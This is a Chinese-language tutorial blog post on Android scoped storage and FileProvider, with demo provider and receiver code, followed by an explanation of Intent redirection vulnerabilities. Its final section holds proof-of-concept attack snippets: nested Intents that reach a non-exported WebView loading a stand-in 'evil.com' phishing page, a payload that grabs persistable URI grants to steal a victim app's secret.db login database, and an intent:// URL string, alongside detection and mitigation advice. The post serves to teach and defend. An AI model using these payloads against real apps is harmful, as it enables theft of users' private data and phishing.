当前位置:   article > 正文

Android FileProvider特性与Intent重定向漏洞

android fileprovider

前言

FileProvider 是 Android 7.0 出现的新特性,它是 ContentProvider 的子类,可以通过创建一个 Content URI 并赋予临时的文件访问权限来代替 File URI 实现文件共享。Intent 重定向漏洞能够使得攻击者借助受害者 APP 的身份发送一个恶意 Intent,从而达到恶意攻击的目的,比如获得原本无权访问的 FileProvider 的访问权限。

分区存储机制

了解 FileProvider 之前先了解下 Android 10.0 提出的分区存储机制,虽然分区存储机制晚于 FileProvider 出现,但二者均是 Android 系统对应用数据的访问控制保护机制。

分区存储是 Android 10 开始引进的 Android 系统存储管理机制,它允许 App 读取和写入 App 自身创建的文件而不需要任何存储权限。Android 系统根据存储位置的不同,可以分为内部内部存储和外部存储,内部存储就不用多说了,而外部存储又分为私有空间和公共空间。

Android 外部存储空间(sdcard)中数据存储可以分为两大类:

分类路径特点
私有存储 (Private Storage)/sdcard/Android/data/packageName1)每个应用在内部存储种都拥有自己的私有目录,其它应用看不到,彼此也无法访问到该目录;2)私有目录存放 app 的私有文件,会随着 App 的卸载而删除。
共享存储 (Shared Storage)/sdcard/Downloads(Pictures)1)除了私有存储以外,其他的一切都被认定是共享存储,比如:Downloads、Documents、Pictures 、DCIM、Movies、Music 等;2)公有目录下的文件不会跟随 APP 卸载而被删除。

在 Android 10 以前,只要程序获得了 READ_EXTERNAL_STORAGE 权限,就可以随意读取外部的存储公有目录;同时只要程序获得了WRITE_EXTERNAL_STORAGE权限,就可以随意在写入外部存储的公有目录上新建文件或文件夹。
在这里插入图片描述
于是 Google 在 Android 10 中提出了分区存储,意在限制程序对外部存储中公有目录的使用,分区存储对内部存储私有目录和外部存储私有目录都没有影响。
在这里插入图片描述

Android 10/11

为了避免混乱,先来总结下 Android 10 分区存储机制带来的数据访问的特点和区分:
在这里插入图片描述
Android 11 增进

分区存储机制很好地规范了 Android App 的存储行为,让它们读自己该读的,写自己该写的。但是有的应用天生就需要对 SD 卡进行全方位的访问,比如各种文件浏览器、垃圾清理软件等等,虽然很多所谓的垃圾清理软件本身就是最该被清理的垃圾……

对此,Android 11 引入了一个新的权限:

<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
  • 1

有了这个权限,就可以跟以前的版本一样随意玩耍了。那么是不是可以直接申请这个权限就可以了呢?机智如我,是可以的,不过应用市场不让上架…所以大部分 App 是不允许使用这个权限的。

同时如果要申请此权限,需要打开设置界面,让用户手动设置:

intent = Intent(Settings.ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION)
startActivityForResult(intent, 10010)
  • 1
  • 2

出现的授权界面长这样:
在这里插入图片描述

共享存储空间

分区存储最大的影响就是外部存储空间的共享目录不再可以被 APP 随意访问了。共享目录下的文件需要通过 MediaStore API 或者 Storage Access Framework 方式访问:

  1. MediaStore API 在共享目录指定目录下创建文件或者访问应用自己创建文件,不需要申请任何存储权限,所有者拥有文件的所有权;
  2. MediaStore API 访问其他应用在共享目录创建的媒体文件(图片、音频、视频),需要申请存储权限;
  3. MediaStore API 不能够访问其他应用创建的非媒体文件(pdf、office、doc、txt 等), 只能够通过 Storage Access Framework 方式访问,调用 Storage Access Framework API 会启动系统的文件选择器向用户申请操作指定的文件。

MediaStore API

Android 系统会自动扫描外部存储空间,将媒体文件按类型添加到系统预定义的 Images、Videos、Audio files、Downloaded files 集合中。Android Q 通过 MediaStore.Images、MediaStore.Video、MediaStore.Audio、MediaStore.Downloads 访问相对应共享目录文件资源。预定义集合所对应的目录如下表所示:
在这里插入图片描述
Storage Access Framework

Android 10 里唯一一种访问其他应用创建的非媒体文件的途径是使用存储访问框架 (Storage Access Framework) 提供的文档选择器。SAF 访问外部存储空间的共享目录的文件不需要申请任何权限,原因很简单,它需要启动系统的文件选择器向用户申请操作指定的文件,有用户交互过程的动作本身就是权限管控了,自然也就可以不用预先申请权限。

下表总结了分区存储如何影响文件访问:
在这里插入图片描述
更多分区存储的知识可以参见博文:Android 分区存储适配总结

FileProvider

Android 7.0 之前,文件的 Uri 以 file:/// 形式提供给其他 app 访问,Android 7.0 之后,分享文件的 Uri 发生了变化。为了提高私有目录的安全性,防止应用信息的泄漏,从 Android 7.0 开始,私有目录的访问权限被限制。开发人员不再能够简单地通过 file://URI 访问其他应用的私有目录文件或者让其他应用访问自己的私有目录文件。

官方提供了替代方案——FileProvider,FileProvider 生成的 Uri 会以 content:// 的形式分享给其他 app 使用。content 形式的 Uri 可以让其他 app 临时获得读取 (Read) 和写入 (Write) 权限,只要我们在创建 Intent 时,使用 Intent.setFlags() 添加权限,那么只要接收 Uri 的 app 在接收的 Activity 任务栈中处于活动状态,添加的权限就会一直有效,直到 app 被任务栈移除。

在 Android 7.0 以前,为了访问 file:/// 形式的 Uri,我们必须修改文件的权限。修改后的权限对所有 app 都是有效的,这样的行为是不安全的。 而使用了 FilePrrovider 后 content:// 形式的 Uri 让 Android 的文件系统更安全,对于分享的文件,接收方 app 只拥有临时的权限,减少了我们 app 内部的文件被其他 app 恶意操作的行为。

作为四大组件之一的 ContentProvider,一直扮演着应用间共享资源的角色。这里我们要使用到的 FileProvider,就是 ContentProvider 的一个特殊子类,帮助我们将访问受限的 file://URI 转化为可以授权共享的 content://URI

提供FileProvider

FileProvider 的完整使用步骤:

  1. Mainfest.xml 中注册 FileProvider;
  2. 配置、指定共享目录范围 ;
  3. 使用 FileProvider 生成 Content URI;
  4. 给 Uri 授予临时权限并分享这个 URI 给另一个 App。

下面来根据一个 Github 的实例程序 android-file-provider-demo 学习下 FileProvider 的使用,该项目包含两个简易 APK(FileProvider 和 FileReceiver),分别用于提供 FileProvider 和接收 FileProvider 提供的数据。

先来看下提供 FileProvider 的程序。

1、创建 FileProvider

在 manifest 文件中添加 pvodier 标签,配置如下:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.demo.fileprovider">

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <provider
            android:authorities="com.demo.fileprovider"
            android:name="android.support.v4.content.FileProvider"
            android:exported="false"
            android:grantUriPermissions="true">
            <meta-data
                android:name="android.support.FILE_PROVIDER_PATHS"
                android:resource="@xml/paths" />
        </provider>
    </application>
</manifest>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

以上 FileProvider 的配置说明:

属性说明
android:nameAndroid 提供的 FileProvider 的实现类
android:authorities相当于一个用于认证的暗号,在分享文件生成 Uri 时,会通过它的值生成对应的 Uri,该值是一个域名,一般格式为 “包名.fileprovider”
android:exported必须指定为 false,表示该 FileProvider 只能本应用使用,不是 public 的
android:grantUriPermissions值为true,表示允许赋予临时权限,即设置为共享
meta-data子标签指定配置共享目录的配置文件

2、设置共享目录

res/xml 中创建一个资源文件(如果 xml 目录不存在,先创建),名字随便(一般叫 file_paths.xml)。

<paths>
    <files-path name="shared_files" path="."/>
</paths>
  • 1
  • 2
  • 3

在 paths 节点内部支持以下几个子节点,分别为:

子节点含义
root-path代表设备的根目录 new File("/")
files-path代表 APP 内部存储空间私有目录下的 files/ 目录,等同于 Context.getFilesDir() 所获取的目录路径
cache-path代表内部存储的 cache 目录,与 Context.getCacheDir() 获取的路径对应
external-path代表外部存储 (sdcard) 的根目录,与 Environment.getExternalStorageDirectory() 获取的路径对应。
external-files-path代表外部存储空间 APP 私有目录下的 files/ 目录,与 Context.getExternalFilesDir(null)获取的路径对应
external-cache-path外部存储空间 APP 私有目录下的 cache/ 目录,等同于 Context.getExternalCacheDir()
external-media-path代表 app 外部存储媒体区域的根目录,与Context.getExternalMediaDirs()获取的路径对应

3、使用 FileProvider 生成 Content URI

先看下该部分完整的 MainActivity 代码:

package com.demo.fileprovider;

import android.content.ClipData;
import android.content.ClipDescription;
import android.content.Intent;
import android.net.Uri;
import android.support.v4.content.FileProvider;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.UUID;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }

    public void provide(View view) {
        String content = "Hello FileProvider! ".concat(String.valueOf(System.currentTimeMillis()));
        File file = new File(getFilesDir(), UUID.randomUUID().toString().concat(".txt"));
        if (!writeFile(file, content)) {
            return;
        }
        Uri uri = FileProvider.getUriForFile(this, "com.demo.fileprovider", file);
        Intent intent = new Intent().setClassName("com.demo.filereceiver", "com.demo.filereceiver.MainActivity");
        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        ClipData clipData = new ClipData(new ClipDescription("Meshes", new String[]{ClipDescription.MIMETYPE_TEXT_URILIST}), new ClipData.Item(uri));
        intent.setClipData(clipData);
        startActivity(intent);
    }

    private boolean writeFile(File file, String content) {
        FileOutputStream stream = null;
        try {
            if (!file.exists()) {
                boolean created = file.createNewFile();
                if (!created) {
                    return false;
                }
            }
            stream = new FileOutputStream(file);
            stream.write(content.getBytes());
            stream.flush();
            stream.close();
            return true;
        } catch (IOException e) {
            Log.e("provider", "IOException writing file: ", e);
        } finally {
            try {
                if (stream != null) {
                    stream.close();
                }
            } catch (IOException e) {
                Log.e("provider", "IOException closing stream: ", e);
            }
        }
        return false;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67

顺带附上视图文件 activity_main.xml:

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="com.demo.fileprovider.MainActivity">

    <Button
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Provide"
        android:onClick="provide"/>
</RelativeLayout>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

前两步已经将共享目录的配置工作全部完成了,此处需要继续将原先所采用的 file:// 替换成 FileProvoider 需要用到的 content://,这就需要用到 FileProvider.getUriForFile() 方法了:

File file = new File(getFilesDir(), UUID.randomUUID().toString().concat(".txt"));
Uri uri = FileProvider.getUriForFile(this, "com.demo.fileprovider", file);
  • 1
  • 2

应注意到其中 “com.demo.fileprovider” 参数就是 FileProvider 中设置的 authorities 属性值。

4、给 Uri 授予临时权限并分享这个 URI 给另一个 App

当我们生成一个 content:// 的 Uri 对象之后,第三方应用其实还无法对其直接使用,还需要对这个 Uri 接收的 App 赋予对应的权限才可以。

授权方式有两种,上面的方法属于第一种,实现代码:

Intent intent = new Intent().setClassName("com.demo.filereceiver", "com.demo.filereceiver.MainActivity");
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
ClipData clipData = new ClipData(new ClipDescription("Meshes", new String[]{ClipDescription.MIMETYPE_TEXT_URILIST}), new ClipData.Item(uri));
intent.setClipData(clipData);
startActivity(intent);
  • 1
  • 2
  • 3
  • 4
  • 5

使用 intent 对象提供的 setClipData() 方法可以一次性传递多个 URI 对象,然后使用 setFlags() 或者 addFlags() 方法设置读写权限,可选常量值选择 FLAG_GRANT_READ_URI_PERMISSIONFLAG_GRANT_WRITE_URI_PERMISSION。这种形式的授权方式,权限有效期截止至其它应用所处的堆栈销毁,并且一旦授权给某一个组件后,该应用的其它组件拥有相同的访问权限。

另外一种授权的方法是通过 Context 的 grantUriPermission() 方法授权:

//三个参数分别表示授权访问 URI 对象的其他应用包名,授权访问的 Uri 对象和授权类型常量值
context.grantUriPermission(String toPackage, Uri uri, int modeFlags)
//对应的撤销权限的接口如下
//context.revokeUriPermission(Uri uri, int modeFlags);
  • 1
  • 2
  • 3
  • 4

拥有授予权限的 Content URI 后,便可以通过 startActivity() 方法启动其他应用并传递授权过的 Content URI 数据。

访问FileProvider

以上已经提供了 FileProvider,点击 Buntton 即可发送携带 FileProvider 读写权限的 Intent 给到 com.demo.filereceiver 应用,接收方的代码如下:

package com.demo.filereceiver;

import android.content.ClipData;
import android.content.Intent;
import android.net.Uri;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;

import java.io.IOException;
import java.io.InputStream;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        TextView textView = (TextView) findViewById(R.id.textView);

        Intent intent = getIntent();
        ClipData clipData = intent.getClipData();
        if (clipData.getItemCount() == 1) {
            ClipData.Item item = clipData.getItemAt(0);
            Uri uri = item.getUri();
            String content = readUri(uri);
            if (content == null) {
                textView.setText("Error reading Uri ".concat(uri.toString()));
            } else {
                textView.setText(content);
            }
        }
    }

    private String readUri(Uri uri) {
        InputStream inputStream = null;
        try {
            inputStream = getContentResolver().openInputStream(uri);
            if (inputStream != null) {
                byte[] buffer = new byte[1024];
                int result;
                String content = "";
                while ((result = inputStream.read(buffer)) != -1) {
                    content = content.concat(new String(buffer, 0, result));
                }
                return content;
            }
        } catch (IOException e) {
            Log.e("receiver", "IOException when reading uri", e);
        } finally {
            if (inputStream != null) {
                try {
                    inputStream.close();
                } catch (IOException e) {
                    Log.e("receiver", "IOException when closing stream", e);
                }
            }
        }
        return null;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63

以上程序最终将访问到 URI 格式如下的文件:

content://com.demo.fileprovider/shared_files/xxx.txt
  • 1

更多 FileProvider 特性的使用方式请参见博文:Android 7.0 行为变更 通过FileProvider在应用间共享文件吧

Intent重定向

最后进入本文的重点——Intent 重定向漏洞,该类型的攻击模式(漏洞)主要的危害为:访问不可导出的组件与越权访问 FileProvider。以下内容来自:Android App安全之Intent重定向详解

访问不可导出的组件

首先回顾下什么是可导出组件,导出组件一般有以下三种形式:

  1. 在 AndroidManifest.xml 中组件显式设置了组件属性 android:exported=“true”;
  2. 如果组件没有显式设置 android:exported=“false”,但是其存在 intent-filter 以及 action ,则也为导出组件;
  3. API Level 在 17 以下的所有 App 的 provider 组件的 android:exported 属性默认值为 true,17 及以上默认值为 false。

任意第三方 App 都可以访问导出组件,但是无法访问非导出的组件。

以下组件虽然配置了 intent-filter,但是显式设置 android:exported="false",属于不可导出组件:

<activity android:name =".WebViewActivity" android:exported="false" >
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

三方应用无法直接调用这种组件,例如 WebViewActivity 中有以下代码:

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    ... 
    Intent intent = getIntent();
    String Url = intent.getStringExtra("url");
    ... 
    webView.loadUrl(Url);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

第三方应用直接访问上述未导出的 WebViewActivity 组件来加载 url:

intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ui.WebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);
  • 1
  • 2
  • 3
  • 4

系统将会抛出如下错误:

java.lang.SecurityException, due to Permission Denial: WebViewActivity not exported from uid xxx.
  • 1

那么如果三方 APP 要想访问上述非导出的 WebViewActivity 是不是就没有办法了呢?当然不是! 其中一种常见的方式即为在本文中介绍 Intent 重定向漏洞, 即将 Intent 类的对象作为 Intent 的 Extras 通过一个导出组件传递给非导出的组件, 以此来实现访问非导出的 WebViewActivity 组件。

漏洞原理

Android 组件之间传输的 Intent 类是可以传输 Intent 对象的,因此可以将属于 Intent 类的对象作为 Intent 的 extra 数据对象传递到另一个组件中,相当于在 Intent 中嵌入Intent。这时,如果 App 从不可信 Intent 的 Extras 字段中提取出嵌入的 Intent,然后对这个嵌入 Intent 调用 startActivity(或类似的 startService 和 sendBroadcast),这样做是很危险的。 因为攻击者原本是无法访问非导出的组件的,但是通过 intent 重定向,即以导出的组件作为桥即可以访问非 exported 的组件,达到 LaunchAnywhere 或者 BroadcastAnywhere 的目的,其原理如下图所示:
在这里插入图片描述
如果是 System 应用中存在这种漏洞,危害更大,可以借助 uid=1000 的进程特权身份启动手机中的任意组件(包括导出和非导出组件):
在这里插入图片描述

可以看到,Intent 重定向违反了 Android 的安全设计,导致 Android 的安全访问限制(App 的沙箱机制)失效。

利用示例

继续以上述的未导出的 WebViewActivity 为例子, 查找在 App 中是否存在导出 Activity 中包含了 Intent 重定向漏洞。刚好存在一个导出的 com.victim.ui.HomeActivity 组件符合预期。

protected void onResume() { 
   // ...  
   handleIntentExtras(getIntent()); 
   // 攻击者可以从外部输入任意intent
}  
 
private void handleIntentExtras(Intent intent) { 
    ... 
    Intent deeplinkIntent = (Intent)intent.getParcelableExtra("extra_deep_link_intent"); 
    ... 
    if (!(deeplinkIntent == null || this.consumedDeeplinkIntent)) { 
        ... 
        startActivity(deeplinkIntent); // 危险! 打开攻击者发送的Intent
        ... 
    } 
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

攻击者可以实现通过这个导出的 HomeActivity 访问任何受保护的未导出的 Activity。我们可以编写一个攻击 App,将发向 HomeActivity 的 Intent 重定向到未导出的组件 WebViewActivity 中,让 WebViewActivity 的 WebView 加载攻击者的恶意链接,从而达到绕过 Android 的权限限制的目的。

Intent next = new Intent(); 
next.setClassName("com.victim", "com.victim.ui.WebViewActivity"); 
next.putExtra("extra_url", "http://evail.com"); // 加载攻击者的钓鱼网站
next.putExtra("extra_title", "test"); 

Intent intent = new Intent(); 
intent.setClassName("com.victim", "com.victim.ui.HomeActivity"); intent.putExtra("extra_deep_link_intent", next); // 嵌入Intent
startActivity(intent);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

FileProvider越权访问

除了可以访问任意组件之外,攻击者还可以访问满足以下条件的 APP 的 Content Provider 的组件:

  1. 该组件必须是非导出的(否则可以直接攻击,无需使用我们在本文中讨论的模型);
  2. 组件还设置了android:grantUriPermissions为 true(不知道为什么的话翻看上文 FileProvider 的介绍)。

同时,攻击者在实现攻击时,必须将自己设置为嵌入 Intent 的接收者,并设置以下标志:

标志含义
Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION允许对提供者的持久访问(没有此标志,则访问仅为一次)
Intent.FLAG_GRANT_PREFIX_URI_PERMISSION允许通过前缀进行URI访问
Intent.FLAG_GRANT_READ_URI_PERMISSION允许对提供程序进行读取操作(例如query,openFile,openAssetFile)
Intent.FLAG_GRANT_WRITE_URI_PERMISSION允许写操作

比如在 App 中有一个非导出的 file provider,该 provider 在其私有目录的 database 路径下保存了 secret.db 文件,该文件中保存了用户的登录账号信息。该 file provider 的设置如下:

<provider 
     android:name="androidx.core.content.FileProvider" 
     android:exported="false" 
     android:authorities="com.android.victim" 
     android:grantUriPermissions="true">
     <meta-data 
         android:name="android.support.FILE_PROVIDER_PATHS" 
         android:resource="@xml/provider_paths"/>
</provider>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

为了简便起见,APP 的资源文件 res/xml/provider_paths 文件的配置为:

<paths>
    <root-path name="root" path="/"/>
</paths>
  • 1
  • 2
  • 3

我们无法直接访问 FileProvider, 但是可以通过 Intent 重定向来窃取 secret.db 文件,Payload 如下:

Intent next= new Intent();
// 设置为攻击者自己的组件
next.setClassName(getPackageName(), "com.Attacker.AttackerActivity"); 
//设置想要访问的私有文件的URI
next.setData(Uri.parse("content://com.victim.localfile/secret.db")); 
// 添加所有可以访问content provider的读写flag
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION |   Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION  | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION); 

Intent intent = new Intent();
intent.setClassName("com.victim.localfile", "com.victim.localfile.LoginActivity"); 
intent.putExtra("com.victim.extra.NEXT_INTENT", next); 
startActivity(intent);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

【CVE案例】此处附上一个具体的 Intent 重定向漏洞利用 FileProvider 提权获得受害应用沙箱文件读写权限的 CVE 漏洞:CVE漏洞案例:GHSL-2021-1033_Nextcloud_News_for_Android,篇幅所限不展开,请自行阅读。

Webview启动Activity

通常我们可以通过调用 Intent.toUri(flags)方法将 Intent 对象转换为字符串,同时可以使用 Intent.parseUri(stringUri,flags)将字符串从字符串转换回Intent。此功能通常在 WebView(APP 内置浏览器)中使用,APP 可以解析intent:// 这种类型的 scheme,将 URL 字符串解析为 Intent 对象并启动相关的 Activity。

漏洞代码示例:

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

要利用此漏洞,攻击者可以通过 Intent.Uri 方法创建一个 WebView 重定向 Intent 的 url,然后让 WebViewActivity 去加载该 Url,由于在 shouldOverrideUrlLoading 方法中没有做完整的校验,会存在 Intent 重定向漏洞。

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.WebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); 
// 所以攻击代码如下
location.href = "intent;component=com.victim/.WebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

此处漏洞利用对应的是通过 IntentScheme URL 漏洞模型访问任意组件,历史上不少相关 CVE 漏洞,后面会进一步讲讲 IntentScheme URL Attack 的相关知识,请关注后续的其它博文。

总结

如何在 App 中快速的找到此类 Intent 重定向的漏洞呢?可以从以下三个方面入手:

  1. 在 App 中查找导出组件,并且检查该组件是否接收从外部输入的 Intent 对象,如Intent deeplinkIntent = (Intent)intent.getParcelableExtra("extra_deep_link_intent")
  2. 在上述组件中查找对 startActivity(或 startService 和 sendBroadcast)的调用,并验证其 Intent 组件是否是从受信任的数据对象来构造的;
  3. 查找 Intent 的 getExtras 方法的调用,是否有将该方法的返回值强制转换为 Intent,并在使用这种嵌入的 Intent 之前进行了完整的校验。

缓解 Intent 重定向漏洞的方法也很简单:

  1. 将受影响的应用组件设为不可导出的组件(或者增加权限);
  2. 确保提取的 Intent 来自可信的来源,比如可以使用 getCallingActivity 等方法来验证源 Activity 是否可信。
// 检查源 Activity 是否来自可信的包名
if (getCallingActivity().getPackageName().equals(“known”)) {
   Intent intent = getIntent();
   // 提取嵌套的 Intent
   Intent forward = (Intent) intent.getParcelableExtra(“key”);
   // 重定向嵌套的 Intent
   startActivity(forward ) ;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

本文参考文章:

  1. Vivo千镜安全实验室:Intent安全中的一点事儿
  2. OPPO安珀实验室:Android App安全之Intent重定向详解
  3. CVE漏洞案例:GHSL-2021-1033_Nextcloud_News_for_Android
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/669299
推荐阅读
相关标签
  

闽ICP备14008679号